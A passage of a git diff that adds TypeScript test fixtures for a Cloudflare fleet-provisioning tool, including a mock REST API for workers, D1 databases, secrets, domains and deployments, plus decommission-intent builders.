+            { id: 'routes-write', name: 'Workers Routes Write' },
+          ],
+          resources: {
+            'com.cloudflare.api.account.account': {
+              'com.cloudflare.api.account.zone.*': '*',
+            },
+          },
+        },
+      ],
+    });
+  }
+  if (url.pathname.endsWith('/zones')) {
+    expect(url.searchParams.get('account.id')).toBe('account');
+    const beyondFirst = pageBeyondFirst(url, { per_page: 20 });
+    if (beyondFirst) return beyondFirst;
+    const types = url.searchParams.getAll('type');
+    const listed = zones.map((zone) => ({
+      type: 'full',
+      ...(typeof zone === 'string' ? { id: zone } : zone),
+      account: { id: 'account' },
+    }));
+    return envelope(
+      types.length > 1
+        ? []
+        : listed.filter((zone) => types.length === 0 || zone.type === types[0]),
+    );
+  }
+  const parts = url.pathname.split('/').filter(Boolean);
+  const zoneIndex = parts.indexOf('zones');
+  const zoneId = zoneIndex >= 0 ? parts[zoneIndex + 1] : undefined;
+  if (zoneId && url.pathname.endsWith(`/zones/${zoneId}`)) {
+    const zone = zones.find((zone) =>
+      typeof zone === 'string' ? zone === zoneId : zone.id === zoneId,
+    );
+    // An unmatched zone detail leaves the request to the caller's fallback.
+    if (zone)
+      return single({
+        type: 'full',
+        ...(typeof zone === 'string' ? { id: zone } : zone),
+        account: { id: 'account' },
+      });
+  }
+  if (routes && zoneId && url.pathname.endsWith('/workers/routes')) {
+    return envelope(
+      routes
+        .filter((route) => route.zoneId === zoneId)
+        .map(({ id, pattern, script }) => ({ id, pattern, script })),
+    );
+  }
+  return undefined;
+}
+
+export function fenced<T>(
+  client: CloudflareProvisioningClient,
+  operation: () => Promise<T>,
+  events?: string[],
+): Promise<T> {
+  return client.withMutationFence(
+    {
+      mutationLeaseTtlMs: 15 * 60_000,
+      assertOwned: async () => {
+        events?.push('assertOwned');
+      },
+    },
+    operation,
+  );
+}
+
+export function testRateCoordinator(
+  intervalCap?: number,
+  events?: string[],
+): CloudflareApiRateCoordinator {
+  const coordinator = new ProcessLocalCloudflareApiRateCoordinator(intervalCap);
+  if (!events) return coordinator;
+  return {
+    acquire: async (signal) => {
+      events.push('quota:acquire');
+      await coordinator.acquire(signal);
+    },
+  };
+}
+
+export function deferred<T>(): {
+  readonly promise: Promise<T>;
+  readonly resolve: (value: T) => void;
+} {
+  let resolve!: (value: T) => void;
+  const promise = new Promise<T>((next) => {
+    resolve = next;
+  });
+  return { promise, resolve };
+}
+
+export interface CloudflareFetchRecord {
+  readonly method: string;
+  readonly url: string;
+  readonly body: unknown;
+}
+
+export interface CloudflareFixtureRequest extends CloudflareFetchRecord {
+  readonly headers: Headers;
+  readonly redirect: RequestInit['redirect'];
+}
+
+export type CloudflareFixtureHandler = (
+  request: CloudflareFixtureRequest,
+) => Response | Promise<Response>;
+
+// cloudflare/internal/uploads.mjs:51-74 probes whether this fetch
+// implementation encodes a real FormData body (instead of stringifying it)
+// before deciding whether multipart uploads are usable.
+class UnsupportedFormDataResponse {
+  constructor(readonly body: unknown) {}
+
+  async text(): Promise<string> {
+    return String(this.body);
+  }
+}
+
+async function decodeBody(body: RequestInit['body']): Promise<unknown> {
+  if (body instanceof FormData) {
+    const files: Array<{ name: string; type: string; text: string }> = [];
+    const fields: Record<string, unknown> = {};
+    for (const [name, value] of body.entries()) {
+      if (name === 'metadata') {
+        fields[name] = JSON.parse(
+          typeof value === 'string' ? value : await value.text(),
+        );
+      } else if (typeof value !== 'string') {
+        files.push({
+          name,
+          type: value.type,
+          text: await value.text(),
+        });
+      } else {
+        fields[name] = value;
+      }
+    }
+    return { ...fields, files };
+  }
+  if (typeof body === 'string') {
+    try {
+      return JSON.parse(body);
+    } catch {
+      return body;
+    }
+  }
+  return body ?? undefined;
+}
+
+export function recordingFetch(
+  handler: CloudflareFixtureHandler,
+  events: string[] = [],
+  options: { readonly formDataProbe?: 'unsupported' } = {},
+): {
+  readonly fetch: typeof fetch;
+  readonly requests: CloudflareFetchRecord[];
+  readonly probes: string[];
+  readonly events: string[];
+} {
+  const requests: CloudflareFetchRecord[] = [];
+  const probes: string[] = [];
+  const fixtureFetch: typeof fetch = async (input, init) => {
+    const url = new URL(
+      typeof input === 'string'
+        ? input
+        : input instanceof URL
+          ? input.href
+          : input.url,
+    );
+    if (url.protocol === 'data:') {
+      probes.push(url.href);
+      if (options.formDataProbe === 'unsupported') {
+        return new UnsupportedFormDataResponse(
+          new FormData(),
+        ) as unknown as Response;
+      }
+      return new Response(new FormData());
+    }
+    const method = (
+      init?.method ?? (input instanceof Request ? input.method : 'GET')
+    ).toUpperCase();
+    const body = await decodeBody(init?.body);
+    const record = { method, url: url.href, body };
+    requests.push(record);
+    events.push(`request:${url.pathname}`);
+    return handler({
+      ...record,
+      headers: new Headers(init?.headers),
+      redirect: init?.redirect,
+    });
+  };
+  return { fetch: fixtureFetch, requests, probes, events };
+}
+
+function versionViewBindings(bindings: readonly unknown[]): readonly unknown[] {
+  return bindings.map((binding) => {
+    const cloned = structuredClone(binding);
+    if (
+      !cloned ||
+      typeof cloned !== 'object' ||
+      Array.isArray(cloned) ||
+      Reflect.get(cloned, 'type') !== 'secret_text'
+    ) {
+      return cloned;
+    }
+    return { name: Reflect.get(cloned, 'name'), type: 'secret_text' };
+  });
+}
+
+export function restProjection(world: ProviderWorld): CloudflareFixtureHandler {
+  return async (request) => {
+    const { method, url, body } = request;
+    const target = new URL(url);
+    const maintenance = await maintenanceResponder(world, request);
+    if (maintenance) return maintenance;
+    if (target.hostname === 'd1-export.example.test') {
+      const databaseId = target.pathname
+        .split('/')
+        .at(-1)
+        ?.replace(/\.sql$/u, '');
+      const bytes = databaseId ? world.exports.get(databaseId) : undefined;
+      return bytes
+        ? new Response(bytes, {
+            headers: { 'content-length': String(bytes.byteLength) },
+          })
+        : new Response('missing export', { status: 404 });
+    }
+    if (target.hostname !== 'api.cloudflare.com') {
+      return new Response('provider projection refuses this origin', {
+        status: 403,
+      });
+    }
+    const authority = zoneAuthorityResponse(target, world.zones, world.routes);
+    if (authority) return authority;
+    if (method === 'GET' && target.pathname === '/client/v4/accounts/account')
+      return single({ id: 'account' });
+    if (
+      method === 'GET' &&
+      target.pathname === '/client/v4/accounts/account/workers/subdomain'
+    )
+      return single({ subdomain: world.accountSubdomain });
+    const parts = target.pathname.split('/').filter(Boolean);
+    const routeIndex = parts.indexOf('routes');
+    const routeId = routeIndex >= 0 ? parts[routeIndex + 1] : undefined;
+    if (routeId && method === 'DELETE') {
+      const index = world.routes.findIndex(({ id }) => id === routeId);
+      if (index < 0) return Response.json({ errors: [] }, { status: 404 });
+      // Ordinary-Worker public-access writes use subdomain.create; the only
+      // routes.delete caller is disableControlWorkerPublicAccess.
+      world.routes.splice(index, 1);
+      world.mutationLog.push(`delete-route:${routeId}`);
+      return single({});
+    }
+    const scriptsIndex = parts.indexOf('scripts');
+    const scriptName = scriptsIndex >= 0 ? parts[scriptsIndex + 1] : undefined;
+    const bodyField = (name: string): unknown =>
+      body && typeof body === 'object' ? Reflect.get(body, name) : undefined;
+    if (target.pathname.endsWith('/d1/database') && method === 'GET') {
+      const beyondFirst = pageBeyondFirst(target);
+      if (beyondFirst) return beyondFirst;
+      const requestedName = target.searchParams.get('name');
+      return pageArray(
+        world.databases
+          .filter(
+            ({ name }) =>
+              requestedName === null || name.startsWith(requestedName),
+          )
+          .map(({ databaseId, name }) => ({
+            uuid: databaseId,
+            name,
+          })),
+      );
+    }
+    if (target.pathname.endsWith('/d1/database') && method === 'POST') {
+      const name = bodyField('name');
+      if (
+        typeof name === 'string' &&
+        world.databases.some((database) => database.name === name)
+      ) {
+        return failedResponse();
+      }
+      const failure = world.consumeFailure('createDatabase');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      const database = world.createDatabase(
+        typeof name === 'string' ? name : '',
+      );
+      await world.applyAfter('createDatabase');
+      if (failure) return failureResponse(failure);
+      const { databaseId } = database;
+      return single({ uuid: databaseId, name });
+    }
+    const databaseIndex = parts.indexOf('database');
+    const databaseId =
+      databaseIndex >= 0 ? parts[databaseIndex + 1] : undefined;
+    if (
+      databaseId &&
+      target.pathname.endsWith(`/d1/database/${databaseId}`) &&
+      method === 'GET'
+    ) {
+      const database = world.databases.find(
+        (candidate) => candidate.databaseId === databaseId,
+      );
+      return database
+        ? single({ uuid: database.databaseId, name: database.name })
+        : Response.json({ errors: [] }, { status: 404 });
+    }
+    if (
+      databaseId &&
+      target.pathname.endsWith(`/d1/database/${databaseId}`) &&
+      method === 'DELETE'
+    ) {
+      const index = world.databases.findIndex(
+        (candidate) => candidate.databaseId === databaseId,
+      );
+      if (index < 0) return Response.json({ errors: [] }, { status: 404 });
+      const failure = world.consumeFailure('deleteDatabase');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      world.databases.splice(index, 1);
+      world.mutationLog.push(`delete-database:${databaseId}`);
+      await world.applyAfter('deleteDatabase');
+      if (failure) return failureResponse(failure);
+      return single({});
+    }
+    if (databaseId && target.pathname.endsWith('/query') && method === 'POST') {
+      const database = world.databases.find(
+        (candidate) => candidate.databaseId === databaseId,
+      );
+      if (!database) return Response.json({ errors: [] }, { status: 404 });
+      const batch = bodyField('batch');
+      if (Array.isArray(batch)) {
+        database.d1.batchDatabase(
+          batch.map((statement) => ({
+            sql: readStringFact(statement, 'sql') ?? '',
+            bindings: readStringArray(statement, 'params'),
+          })),
+        );
+        await world.applyAfter('batchDatabase');
+        return pageArray(batch.map(() => ({ success: true, results: [] })));
+      }
+      const sql = bodyField('sql');
+      const rows = database.d1.queryDatabase(
+        typeof sql === 'string' ? sql : '',
+        readStringArray(body, 'params'),
+      );
+      await world.applyAfter('queryDatabase');
+      return pageArray([{ success: true, results: rows }]);
+    }
+    if (
+      databaseId &&
+      target.pathname.endsWith('/export') &&
+      method === 'POST'
+    ) {
+      const failure = world.consumeFailure('exportDatabase');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      world.mutationLog.push(`export:${databaseId}`);
+      await world.applyAfter('exportDatabase');
+      if (failure) return failureResponse(failure);
+      return single({
+        status: 'complete',
+        result: {
+          signed_url: `https://d1-export.example.test/${encodeURIComponent(databaseId)}.sql?signature=world`,
+        },
+      });
+    }
+    if (target.pathname.endsWith('/workers/scripts') && method === 'GET') {
+      const beyondFirst = pageBeyondFirst(target);
+      if (beyondFirst) return beyondFirst;
+      return pageArray(
+        [...world.scripts.entries()].flatMap(([id, script]) =>
+          script.present ? [{ id }] : [],
+        ),
+      );
+    }
+    if (target.pathname.endsWith('/queues') && method === 'GET') {
+      // The direct lane's residual scan lists the account's queues.
+      return pageArray(
+        world.queues.map(({ queueId, queueName }) => ({
+          queue_id: queueId,
+          queue_name: queueName,
+        })),
+      );
+    }
+    if (target.pathname.endsWith('/workers/domains') && method === 'GET') {
+      const domains = world.customDomains.map((domain) => ({ ...domain }));
+      await world.applyAfter('listCustomDomains');
+      return pageArray(domains);
+    }
+    if (target.pathname.endsWith('/workers/domains') && method === 'PUT') {
+      const failure = world.consumeFailure('attachCustomDomain');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      const hostname = bodyField('hostname');
+      const service = bodyField('service');
+      if (typeof hostname !== 'string' || typeof service !== 'string') {
+        return failedResponse();
+      }
+      const current = world.customDomains.find(
+        (domain) => domain.hostname === hostname,
+      );
+      if (current) current.service = service;
+      else {
+        world.customDomains.push({
+          id: world.allocateDomainId(),
+          hostname,
+          service,
+        });
+      }
+      world.mutationLog.push(`attach-domain:${hostname}`);
+      await world.applyAfter('attachCustomDomain');
+      if (failure) return failureResponse(failure);
+      return single({
+        id: world.customDomains.find((domain) => domain.hostname === hostname)
+          ?.id,
+      });
+    }
+    const domainsIndex = parts.indexOf('domains');
+    const domainId = domainsIndex >= 0 ? parts[domainsIndex + 1] : undefined;
+    if (domainId && method === 'DELETE') {
+      const index = world.customDomains.findIndex(({ id }) => id === domainId);
+      if (index < 0) return Response.json({ errors: [] }, { status: 404 });
+      const failure = world.consumeFailure('detachCustomDomain');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      world.customDomains.splice(index, 1);
+      world.mutationLog.push(`detach-domain:${domainId}`);
+      await world.applyAfter('detachCustomDomain');
+      if (failure) return failureResponse(failure);
+      return single({});
+    }
+    if (
+      target.pathname.endsWith('/workers/durable_objects/namespaces') &&
+      method === 'GET'
+    ) {
+      const beyondFirst = pageBeyondFirst(target);
+      if (beyondFirst) return beyondFirst;
+      return pageArray(
+        world.durableObjectNamespaces.map((namespace) => ({
+          id: namespace.id,
+          script: namespace.script,
+          class: namespace.className,
+        })),
+      );
+    }
+    if (
+      target.pathname.endsWith('/workers/dispatch/namespaces') &&
+      method === 'GET'
+    ) {
+      return pageArray(
+        world.dispatchNamespaces.map((namespace) => ({
+          namespace_id: `${namespace.name}-namespace-id`,
+          namespace_name: namespace.name,
+          trusted_workers: false,
+          script_count: namespace.scripts.length,
+        })),
+      );
+    }
+    const dispatchIndex = parts.indexOf('namespaces');
+    const dispatchNamespace =
+      dispatchIndex >= 0 ? parts[dispatchIndex + 1] : undefined;
+    const dispatchScriptIndex = parts.indexOf('scripts', dispatchIndex + 1);
+    const dispatchScriptName =
+      dispatchScriptIndex >= 0 ? parts[dispatchScriptIndex + 1] : undefined;
+    if (
+      dispatchNamespace &&
+      target.pathname.endsWith(`/${dispatchNamespace}/scripts`) &&
+      method === 'GET'
+    ) {
+      const namespace = world.dispatchNamespaces.find(
+        ({ name }) => name === dispatchNamespace,
+      );
+      return pageArray(
+        namespace?.scripts.map(({ name }) => ({ id: name, tags: [] })) ?? [],
+      );
+    }
+    if (
+      dispatchNamespace &&
+      dispatchScriptName &&
+      target.pathname.endsWith('/settings') &&
+      method === 'GET'
+    ) {
+      const script = world.dispatchNamespaces
+        .find(({ name }) => name === dispatchNamespace)
+        ?.scripts.find(({ name }) => name === dispatchScriptName);
+      return script
+        ? single({ bindings: script.bindings })
+        : Response.json({ errors: [] }, { status: 404 });
+    }
+    if (!scriptName) {
+      throw new Error(`unexpected request ${method} ${target.pathname}`);
+    }
+    const script = world.scripts.get(scriptName);
+    if (
+      (target.pathname.endsWith(`/workers/scripts/${scriptName}`) &&
+        method === 'PUT') ||
+      (target.pathname.endsWith('/versions') && method === 'POST')
+    ) {
+      const mainModule = readStringFact(bodyField('metadata'), 'main_module');
+      if (!readModules(body).some((module) => module.name === mainModule))
+        return failedResponse('the declared entrypoint module part is missing');
+    }
+    if (
+      target.pathname.endsWith(`/workers/scripts/${scriptName}`) &&
+      method === 'PUT'
+    ) {
+      const metadata = bodyField('metadata');
+      const pending = world.peekFailure('uploadCandidate');
+      if (pending && !pending.dispatched) {
+        world.consumeFailure('uploadCandidate');
+        if (pending.at === 'public-access') {
+          throw new Error(
+            "ProviderFailure.at:'public-access' requires dispatched:true",
+          );
+        }
+        if (pending.error) throw pending.error;
+        return pending.response ?? failureResponse(pending);
+      }
+      const settlesAtScript = pending?.at === 'script';
+      if (pending?.error && !settlesAtScript) {
+        world.consumeFailure('uploadCandidate');
+        // subdomain.create is outside the sanitized send() boundary and keeps
+        // the SDK's retries, so thrown fixture errors must settle at the PUT.
+        throw new Error(
+          "ProviderFailure.error requires at:'script' — the subdomain endpoint is outside sanitizeProviderError() and is retried by the SDK",
+        );
+      }
+      const failure = settlesAtScript
+        ? world.consumeFailure('uploadCandidate')
+        : undefined;
+      const versions = world.applyUpload(
+        {
+          scriptName,
+          mode: 'initial',
+          tag: readVersionTag(metadata),
+          bindings: readBindings(metadata),
+          mainModule: readStringFact(metadata, 'main_module') ?? '',
+          modules: readModules(body),
+        },
+        { duplicate: failure?.duplicate },
+      );
+      // The real adapter writes public access with a separate subdomain request
+      // after the script exists; the script PUT records only upload state.
+      if (pending && !settlesAtScript) {
+        world.deferFailure('uploadCandidate');
+      } else {
+        await world.applyAfter('uploadCandidate');
+      }
+      if (failure?.error) throw failure.error;
+      if (failure) return failure.response ?? failureResponse(failure);
+      return single({ id: scriptName, etag: versions[0]?.versionId });
+    }
+    if (!script?.present) return Response.json({ errors: [] }, { status: 404 });
+    if (
+      target.pathname.endsWith(`/workers/scripts/${scriptName}`) &&
+      method === 'GET'
+    ) {
+      return single({ id: scriptName });
+    }
+    if (
+      target.pathname.endsWith(`/workers/scripts/${scriptName}`) &&
+      method === 'DELETE'
+    ) {
+      const failure = world.consumeFailure('deleteWorkerScript');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      world.deleteScript(scriptName);
+      await world.applyAfter('deleteWorkerScript');
+      if (failure) return failureResponse(failure);
+      return single({});
+    }
+    if (target.pathname.endsWith('/secrets') && method === 'GET') {
+      const beyondFirst = pageBeyondFirst(target);
+      if (beyondFirst) return beyondFirst;
+      return pageArray(
+        [...script.secretNames].sort().map((name) => ({ name })),
+      );
+    }
+    if (target.pathname.endsWith('/secrets-bulk') && method === 'PATCH') {
+      // Ordinary-Worker secret writes only delete individual secrets; bulkUpdate
+      // belongs to Workers for Platforms and platform-control paths.
+      const secrets = bodyField('secrets');
+      if (secrets && typeof secrets === 'object') {
+        for (const name of Reflect.ownKeys(secrets)) {
+          if (typeof name !== 'string') continue;
+          if (Reflect.get(secrets, name) === null)
+            script.secretNames.delete(name);
+          else script.secretNames.add(name);
+        }
+      }
+      world.mutationLog.push(`update-secrets:${scriptName}`);
+      return single({});
+    }
+    const secretsIndex = parts.indexOf('secrets');
+    const secretName = secretsIndex >= 0 ? parts[secretsIndex + 1] : undefined;
+    if (secretName && method === 'DELETE') {
+      const failure = world.consumeFailure('deleteControlSecrets');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      script.secretNames.delete(secretName);
+      world.mutationLog.push(`delete-secret:${scriptName}:${secretName}`);
+      await world.applyAfter('deleteControlSecrets');
+      if (failure) return failureResponse(failure);
+      return single({});
+    }
+    if (secretName && method === 'PUT') {
+      // The ordinary-Worker plane only deletes secrets by name; no source path
+      // calls the SDK's single-secret update endpoint.
+      script.secretNames.add(secretName);
+      world.mutationLog.push(`update-secret:${scriptName}:${secretName}`);
+      return single({});
+    }
+    if (target.pathname.endsWith('/deployments') && method === 'GET') {
+      return single({
+        deployments: script.deployment
+          ? [
+              {
+                id: deploymentIdentity(script),
+                created_on: '2026-08-26T00:00:00.000Z',
+                source: 'api',
+                strategy: 'percentage',
+                versions: script.deployment.map(
+                  ({ versionId, percentage }) => ({
+                    version_id: versionId,
+                    percentage,
+                  }),
+                ),
+              },
+            ]
+          : [],
+      });
+    }
+    if (target.pathname.endsWith('/versions') && method === 'GET') {
+      const pageNumber = Number(target.searchParams.get('page') ?? '1');
+      return page(
+        {
+          items:
+            pageNumber === 1
+              ? script.versions.map(({ versionId, tag }) => ({
+                  id: versionId,
+                  annotations:
+                    tag === undefined ? undefined : { 'workers/tag': tag },
+                }))
+              : [],
+        },
+        { page: pageNumber },
+        { errors: null, messages: null },
+      );
+    }
+    if (target.pathname.endsWith('/versions') && method === 'POST') {
+      const metadata = bodyField('metadata');
+      const failure = world.consumeFailure('uploadCandidate');
+      if (failure && !failure.dispatched) {
+        if (failure.error) throw failure.error;
+        return failure.response ?? failureResponse(failure);
+      }
+      const versions = world.applyUpload(
+        {
+          scriptName,
+          mode: 'staged',
+          tag: readVersionTag(metadata),
+          bindings: readBindings(metadata),
+          mainModule: readStringFact(metadata, 'main_module') ?? '',
+          modules: readModules(body),
+        },
+        { duplicate: failure?.duplicate },
+      );
+      await world.applyAfter('uploadCandidate');
+      if (failure?.error) throw failure.error;
+      if (failure) return failure.response ?? failureResponse(failure);
+      const version = versions[0];
+      return single({
+        id: version?.versionId,
+        resources: {
+          bindings: versionViewBindings(version?.bindings ?? []),
+        },
+      });
+    }
+    const versionId = parts.at(-1);
+    if (
+      versionId &&
+      target.pathname.endsWith(`/versions/${versionId}`) &&
+      method === 'GET'
+    ) {
+      const version = script.versions.find(
+        (item) => item.versionId === versionId,
+      );
+      if (!version) return Response.json({ errors: [] }, { status: 404 });
+      return single({
+        id: version.versionId,
+        annotations:
+          version.tag === undefined
+            ? undefined
+            : { 'workers/tag': version.tag },
+        resources: { bindings: versionViewBindings(version.bindings) },
+      });
+    }
+    if (target.pathname.endsWith('/subdomain') && method === 'GET') {
+      return single({
+        enabled: script.subdomain.enabled,
+        previews_enabled: script.subdomain.previewsEnabled,
+      });
+    }
+    if (target.pathname.endsWith('/subdomain') && method === 'POST') {
+      const uploadFailure = world.consumeDeferredFailure('uploadCandidate');
+      const failure =
+        uploadFailure ?? world.consumeFailure('disablePublicAccess');
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      const payload = body && typeof body === 'object' ? body : {};
+      script.subdomain.enabled = Reflect.get(payload, 'enabled') === true;
+      script.subdomain.previewsEnabled =
+        Reflect.get(payload, 'previews_enabled') === true;
+      world.mutationLog.push(`configure-public-access:${scriptName}`);
+      if (uploadFailure) await world.applyAfter('uploadCandidate');
+      else await world.applyAfter('disablePublicAccess');
+      if (failure) return failure.response ?? failureResponse(failure);
+      return single({
+        enabled: script.subdomain.enabled,
+        previews_enabled: script.subdomain.previewsEnabled,
+      });
+    }
+    if (target.pathname.endsWith('/deployments') && method === 'POST') {
+      const versions = bodyField('versions');
+      const deployment = Array.isArray(versions)
+        ? versions.map((version) => ({
+            versionId: readStringFact(version, 'version_id') ?? '',
+            percentage: Number(Reflect.get(version, 'percentage')),
+          }))
+        : [];
+      const operation =
+        deployment.length === 1 && deployment[0]?.percentage === 100
+          ? 'promoteWorker'
+          : 'deployCandidate';
+      const failure = world.consumeFailure(operation);
+      if (failure && !failure.dispatched) return failureResponse(failure);
+      world.applyDeployment(scriptName, deployment);
+      await world.applyAfter(operation);
+      if (failure) return failureResponse(failure);
+      return single({ id: deploymentIdentity(script) });
+    }
+    throw new Error(`unexpected request ${method} ${target.pathname}`);
+  };
+}
+
+function failureResponse(failure: { readonly error?: Error }): Response {
+  return failedResponse(failure.error?.message);
+}
+
+function failedResponse(message = 'injected provider failure'): Response {
+  return Response.json(
+    {
+      success: false,
+      errors: [{ code: 1, message }],
+    },
+    { status: 400 },
+  );
+}
+
+function readVersionTag(metadata: unknown): string | undefined {
+  if (!metadata || typeof metadata !== 'object') return undefined;
+  const annotations = Reflect.get(metadata, 'annotations');
+  if (!annotations || typeof annotations !== 'object') return undefined;
+  const tag = Reflect.get(annotations, 'workers/tag');
+  return typeof tag === 'string' ? tag : undefined;
+}
+
+function readStringFact(value: unknown, name: string): string | undefined {
+  if (!value || typeof value !== 'object') return undefined;
+  const candidate = Reflect.get(value, name);
+  return typeof candidate === 'string' ? candidate : undefined;
+}
+
+function readBindings(metadata: unknown): readonly unknown[] {
+  if (!metadata || typeof metadata !== 'object') return [];
+  const bindings = Reflect.get(metadata, 'bindings');
+  return Array.isArray(bindings) ? bindings : [];
+}
+
+function readStringArray(value: unknown, name: string): readonly string[] {
+  if (!value || typeof value !== 'object') return [];
+  const values = Reflect.get(value, name);
+  return Array.isArray(values)
+    ? values.flatMap((item) => (typeof item === 'string' ? [item] : []))
+    : [];
+}
+
+function readModules(body: unknown): readonly {
+  name: string;
+  content: string;
+  contentType: string;
+}[] {
+  if (!body || typeof body !== 'object') return [];
+  const files = Reflect.get(body, 'files');
+  if (!Array.isArray(files)) return [];
+  return files.flatMap((file) => {
+    const name = readStringFact(file, 'name');
+    const content = readStringFact(file, 'text');
+    const contentType = readStringFact(file, 'type');
+    return name && content !== undefined
+      ? [
+          {
+            name,
+            content,
+            contentType: contentType ?? 'application/javascript+module',
+          },
+        ]
+      : [];
+  });
+}
diff --git a/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts
new file mode 100644
index 00000000..6259bc17
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/decommission-intent-fixture.ts
@@ -0,0 +1,186 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  backendSwitchDecommissionShell,
+  backendSwitchDecommissionSnapshotDigest,
+  backendSwitchIntentFromUnknown,
+  normalizeSwitchDecommissionEntry,
+} from '../../src/backend-switch.js';
+import { normalizeDecommissionAdvanceIntent } from '../../src/decommission-intent.js';
+import type {
+  BackendSwitchIntent,
+  BackendSwitchSubphase,
+  DecommissionAdvanceIntent,
+  DecommissionIntentCommon,
+  FleetRecord,
+  NormalDecommissionLifecyclePhase,
+} from '../../src/types.js';
+
+export interface NormalDecommissionIntentFixtureOptions {
+  readonly operationId?: string;
+  readonly revision?: number;
+  readonly generation?: number;
+  readonly updatedAt?: string;
+  readonly requestedSpecDigest?: string;
+  readonly entryLifecyclePhase?: NormalDecommissionLifecyclePhase;
+  readonly databaseExportReceiptAuthority?: string;
+}
+
+export function normalDecommissionIntentFixture(
+  record: FleetRecord,
+  lifecyclePhase: NormalDecommissionLifecyclePhase,
+  options: NormalDecommissionIntentFixtureOptions = {},
+): DecommissionIntentCommon {
+  return {
+    version: 1,
+    operationId: options.operationId ?? '00000000-0000-4000-8000-000000000001',
+    revision: options.revision ?? 1,
+    generation: options.generation ?? 0,
+    updatedAt: options.updatedAt ?? '2026-08-11T00:00:00.000Z',
+    identity: {
+      record: {
+        tenantTag: record.tenantTag,
+        environment: record.environment,
+        backend: record.backend,
+        scriptName: record.scriptName,
+        databaseId: record.databaseId,
+        databaseName: record.databaseName,
+        routeHostname: record.routeHostname,
+      },
+      mode: {
+        kind: 'normal',
+        requestedSpecDigest:
+          options.requestedSpecDigest ?? record.desiredSpecDigest,
+        entryLifecyclePhase: options.entryLifecyclePhase ?? lifecyclePhase,
+      },
+    },
+    ...(options.databaseExportReceiptAuthority === undefined
+      ? {}
+      : {
+          databaseExportReceiptAuthority:
+            options.databaseExportReceiptAuthority,
+        }),
+    lifecyclePhase,
+  };
+}
+
+export function decommissionAdvancingRecordFixture(
+  record: FleetRecord,
+  lifecyclePhase: NormalDecommissionLifecyclePhase,
+  options: NormalDecommissionIntentFixtureOptions = {},
+): FleetRecord {
+  return {
+    ...record,
+    phase: 'decommission-advancing',
+    decommissionIntent: {
+      ...normalDecommissionIntentFixture(record, lifecyclePhase, options),
+      state: 'transitioning',
+    },
+  };
+}
+
+export interface BackendSwitchDecommissionRecordFixtureOptions {
+  readonly operationId?: string;
+  readonly revision?: number;
+  readonly generation?: number;
+  readonly entrySubphase?: BackendSwitchSubphase;
+  readonly subphase?: BackendSwitchSubphase;
+  readonly updatedAt?: string;
+}
+
+export function backendSwitchDecommissionRecordFixture(
+  record: FleetRecord,
+  intent: BackendSwitchIntent,
+  options: BackendSwitchDecommissionRecordFixtureOptions = {},
+): FleetRecord {
+  const canonicalIntent = backendSwitchIntentFromUnknown({
+    ...intent,
+    subphase: options.subphase ?? 'decommission-traffic-authorized',
+  });
+  const snapshot = canonicalIntent.decommissionSnapshot;
+  if (!snapshot) {
+    throw new Error('backend-switch fixture requires a decommission snapshot');
+  }
+  const entrySubphase = options.entrySubphase ?? 'finalized';
+  const snapshotSha256 = backendSwitchDecommissionSnapshotDigest(snapshot);
+  const switchIntent = backendSwitchIntentFromUnknown({
+    ...canonicalIntent,
+    decommissionSnapshotSha256: snapshotSha256,
+    decommissionEntrySubphase: entrySubphase,
+  });
+  const updatedAt = options.updatedAt ?? record.updatedAt;
+  if (switchIntent.subphase === 'decommissioned') {
+    const databaseExport = switchIntent.databaseExport;
+    if (!databaseExport) {
+      throw new Error(
+        'terminal backend-switch fixture requires a database export',
+      );
+    }
+    const shell: Extract<
+      DecommissionAdvanceIntent,
+      { readonly state: 'complete' }
+    > = {
+      version: 1,
+      operationId:
+        options.operationId ?? '00000000-0000-4000-8000-000000000002',
+      revision: options.revision ?? 0,
+      generation: options.generation ?? 0,
+      updatedAt,
+      identity: {
+        record: {
+          tenantTag: record.tenantTag,
+          environment: record.environment,
+          backend: record.backend,
+          scriptName: record.scriptName,
+          databaseId: record.databaseId,
+          databaseName: record.databaseName,
+          routeHostname: record.routeHostname,
+        },
+        mode: {
+          kind: 'backend-switch' as const,
+          priorSpecDigest: switchIntent.prior.specDigest,
+          targetSpecDigest: switchIntent.targetSpecDigest,
+          decommissionSnapshotSha256: snapshotSha256,
+          backendSwitchSubphase: entrySubphase,
+        },
+      },
+      databaseExportReceiptAuthority:
+        'memory://fleet-exports/backend-switch/receipts/v1',
+      lifecyclePhase: 'decommissioned' as const,
+      state: 'complete' as const,
+    };
+    const normalized = normalizeSwitchDecommissionEntry(
+      record,
+      switchIntent,
+      shell,
+    );
+    const complete: FleetRecord = {
+      ...normalized,
+      phase: 'decommissioned',
+      databaseExportLocation: databaseExport.location,
+      databaseExportSha256: databaseExport.sha256,
+      databaseExportSize: databaseExport.size,
+    };
+    return {
+      ...complete,
+      decommissionIntent: normalizeDecommissionAdvanceIntent(shell, complete),
+    };
+  }
+  const shell = backendSwitchDecommissionShell({
+    record,
+    intent: switchIntent,
+    operationId: options.operationId ?? '00000000-0000-4000-8000-000000000002',
+    snapshotSha256,
+    entrySubphase,
+    now: updatedAt,
+  });
+  const normalized = normalizeSwitchDecommissionEntry(
+    record,
+    switchIntent,
+    shell,
+  );
+  return {
+    ...normalized,
+    decommissionIntent: normalizeDecommissionAdvanceIntent(shell, normalized),
+  };
+}
diff --git a/packages/fleet-control/test/fixtures/direct-cli-child.ts b/packages/fleet-control/test/fixtures/direct-cli-child.ts
new file mode 100644
index 00000000..751da7ac
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/direct-cli-child.ts
@@ -0,0 +1,72 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+
+/** The `file:` URL of one direct CLI script, for a child that imports it. */
+export const directModuleUrl = (name: string) =>
+  new URL(`../../scripts/${name}.mjs`, import.meta.url).href;
+
+/**
+ * The preamble a child script runs before it touches the provider: every
+ * request the run makes is rewritten onto the harness bridge, the origins it
+ * may reach are fixed, and the global `fetch` is closed so nothing else leaves
